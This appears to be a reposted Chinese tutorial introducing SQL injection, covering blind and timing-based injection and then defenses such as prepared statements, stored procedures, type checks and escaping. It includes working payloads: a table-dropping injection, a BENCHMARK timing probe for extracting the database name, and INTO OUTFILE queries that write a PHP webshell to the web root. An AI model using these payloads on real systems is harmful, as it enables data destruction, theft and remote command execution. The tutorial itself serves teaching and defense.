1. 程式人生 > >web安全————注入(初識篇)

web安全————注入(初識篇)

       注入攻擊
       注入攻擊是web安全領域中最常見的一種攻擊方式。注入攻擊的本質就是把使用者輸入的資料當作程式碼執行,主要的兩個關鍵條件:第一是使用者能夠控制輸入,第二是原本程式要執行的程式碼拼接了使用者輸入的資料。在注入中,常見的就是SQL,下面我們來看看SQL注入的一些方法、技巧以及防禦。


       SQL注入
       請看一個典型的SQL注入例子:
       var Shipcity;
       ShipCity = Request.form ("ShipCity");
       var sql = "select * from OrdersTable where 
       ShipCity = '" + ShipCity + "'";
這裡的變數"Shipcity"值是由使用者提交,如果是一個正常值如"Beijing",那麼SQL語句執行查詢:
       SELECT * FROM OrdersTable WHERE Shipcity = 'Beijing'
但是如果使用者輸入的是一段SQL語句:Beijing';drop table OrdersTable--,那麼SQl語句就會被執行:
       SELECT * FROM OrdersTable WHERE Shipcity ='Beijing';drop table OrdersTable--'
這就是說SQL在執行完查詢後,再執行drop表的操作,而這個操作是使用者構造的惡意攻擊。對比一下上述所說的注入關鍵條件:1使用者能夠控制資料輸入的變數"Shipcity",2原本要執行的程式碼,拼接了使用者輸入。也正是這個拼接導致資料庫執行了SQL語句。
       在SQL注入過程中,有的站點WEb伺服器開啟了錯誤回顯,如攻擊者在輸入中插入一個單引號,伺服器返回錯誤資訊如:
       Microsoft JET Database Engine 錯誤 '80040e14'
       字串的語法錯誤 在查詢表示式 'ID=49'' 中。
       /showdetail.asp,行8
這將會給攻擊者提供很大的便利。從回顯資訊中知道伺服器用的是Access作為資料庫,那麼攻擊者就知道相應的查詢語句:select xxx from table_X where id = $id。有的錯誤回顯資訊還帶有敏感資訊,那對攻擊者來說構造一個SQL注入就更加得心應手了。但是在時間環境中,web伺服器關閉了錯誤回顯,對於這種情況,攻擊者們研究出了“盲注”技巧。


       SQL注入之盲注
       所謂盲注就是指攻擊者在沒有錯誤回顯資訊情況下,通過構造條件語句試探該語句是否得以執行,從而完成的一種攻擊方式。常見的就是 and 1=1   and 1=2的條件語句:在位址列輸入http://test.com/items.php?id=1時,將會在資料庫執行SQL語句SELECT title,description,body FROM items WHERE ID =1。當攻擊者構造and 1=1、and 1=2語句時,SQL語句會根據and條件判斷命題真假來返回響應值,攻擊者就可根據響應值的不同判斷是否存在注入,這就是盲注的工作原理。


       Timing Attack
       首先看看邊通道攻擊:通道外的資訊與通道內的資訊存在某種聯絡,通過觀測通道外的資訊推斷出通道內的隱含資訊。時序攻擊(Timing Attack)就是在邊通道攻擊思想上,去觀測時間與隱含資訊直接的某種聯絡。Timing Attack是盲注的一種高階技巧,下面我們來簡單的看看:
       在MYSQL中,有一個函式BENCHMARK()函式,主要用於測試函式的效能。它有兩個引數BENCHMARK(count,expr),執行後結果是將表示式expr執行count次。如果讓一個函式被執行若干次,使得返回時間計較長,通過對比時間長短變化即可判斷注入語句是否執行成功,這種邊通道攻擊在盲注中被稱為Timing Attack。下面附上一些Timing Attack攻擊程式碼:
    1170 UNION SELECT IF(SUBSTRING(current,1,1) =
    CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 
    5 seconds')),null) FROM (Select Database()
    as current) as tbl;
這段payload是判斷庫名的第一個字母是否為CKAR(119),如果為真則程式碼執行時間較長,如果為假則很快執行完畢。攻擊者遍歷所有字母,即可知道資料庫名字。再通過下列函式獲取更多有用資訊:
    database() - the name of the database 
    currently connected to.
    system_user() - the system user for the 
    database.
    current_user() - the current user who is 
    logged in to the database.
    last_insert_id() - the transaction ID of the 
    last insert operation on the database.
如果當前資料庫使用者(current_user)具有寫許可權,那麼攻擊者可將資訊寫入web目錄中:
    1170 Union All SELECT table_name, 
    table_type, engine FROM 
    information_schema.tables WHERE
    table_schema = 'mysql’ ORDER BY table_name 
    DESC INTO OUTFILE
    '/path/location/on/server/www/schema.txt'
或者通過DUMP檔案的方法寫入一個webshell:
    1170 UNION SELECT "<? 
    system($_REQUEST['cmd']); ?>",2,3,4 INTO 
    OUTFILE
    "/var/www/html/temp/c.php" --




       正確的防禦SQL注入
       SQL注入的防禦辦法:找到所有的SQL注入漏洞並修復它們。主要從以下幾點入手
           1,使用預編譯語句
           一般說來,防禦SQL注入的最佳方式就是使用預編譯語句繫結變數。如在java中使用預編譯的SQL語句:
           String custname = 
           request.getParameter("customerName"); //  This should REALLY be validated too
           // perform input validation to detect attacks
           String query = "SELECT account_balance FROM 
           user_data WHERE user_name = ? ";
           PreparedStatement pstmt = 
           connection.prepareStatement( query );
           pstmt.setString( 1, custname);
           ResultSet results = pstmt.executeQuery( );
上述程式碼變數用"?"表示,攻擊者無法改變SQL的結構,即是插入lee'or '1'='1的字元,也只會被當做username來查詢。下面再看看在PHP中繫結變數的例項:
           $query = "INSERT INTO myCity (Name, 
           CountryCode, District) VALUES (?,?,?)";
           $stmt = $mysqli->prepare($query);
           $stmt->bind_param("sss", $val1, $val2, 
           $val3); 
           $val1 = 'Stuttgart';
           $val2 = 'DEU';
           $val3 = 'Baden-Wuerttemberg';
           /* Execute the statement */
           $stmt->execute();


           2,使用儲存過程
           除了使用預編譯語句外,還可以使用安全的儲存過程防禦SQL注入。與預編譯語句不同的是需要將SQL語句定義在資料庫中,但這種情況下也可能會存在注入問題,應該儘量避免在儲存過程中使用動態SQL語句,如果必須使用,則應該嚴格過濾輸入或者使用編碼函式來處理使用者輸入資料。下例為java中呼叫儲存過程,sp_getAccountBalance是預先在資料庫中定義的
           String custname = 
           request.getParameter("customerName"); // 
           This should REALLY be validated
             try {
               CallableStatement cs = 
           connection.prepareCall("{call 
           sp_getAccountBalance(?)}");
               cs.setString(1, custname); 
               ResultSet results = cs.executeQuery();
               // … result set handling
           } catch (SQLException se) {
               // … logging and error handling
           }




           3,檢查資料型別
           檢查資料型別在很大程度上也可防禦SQL注入,如下限制輸入資料型別只能為integer:
           <?php
           settype($offset, 'integer'); 
           $query = "SELECT id, name FROM products 
           ORDER BY name LIMIT 20 OFFSET $offset;";
           // please note %d in the format string, 
           using %s would be meaningless
           $query = sprintf("SELECT id, name FROM 
           products ORDER BY name LIMIT 20 OFFSET 
           %d;",
                 $offset); 
           ?>
檢查資料型別必須要求使用者輸入嚴格按照其格式,如果需要使用者輸入是字串則按照其他方式防禦




           4,使用安全函式
           如在MYSQL中:
           NUL (0x00) --> \0  [This is a zero, not the letter O]
           BS  (0x08) --> \b
           TAB (0x09) --> \t
           LF  (0x0a) --> \n
           CR  (0x0d) --> \r
           SUB (0x1a) --> \z
           "   (0x22) --> \"
           %   (0x25) --> \%
           '   (0x27) --> \'
           \   (0x5c) --> \\
           _   (0x5f) --> \_
           all other non-alphanumeric characters with 
           ASCII values less than 256  --> \c
           where 'c' is the original non-alphanumeric 
           character.


使用ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );函式:
           Codec ORACLE_CODEC = new OracleCodec();
           String query = "SELECT user_id FROM 
           user_data WHERE user_name = '" +
           ESAPI.encoder().encodeForSQL( ORACLE_CODEC
           , req.getParameter("userID")) + "' and 
           user_password = '"
             + 
           ESAPI.encoder().encodeForSQL( ORACLE_CODEC
           , req.getParameter("pwd")) +"'";
從資料庫的角度來說,應該按照最小許可權原則來防禦SQL注入。。。。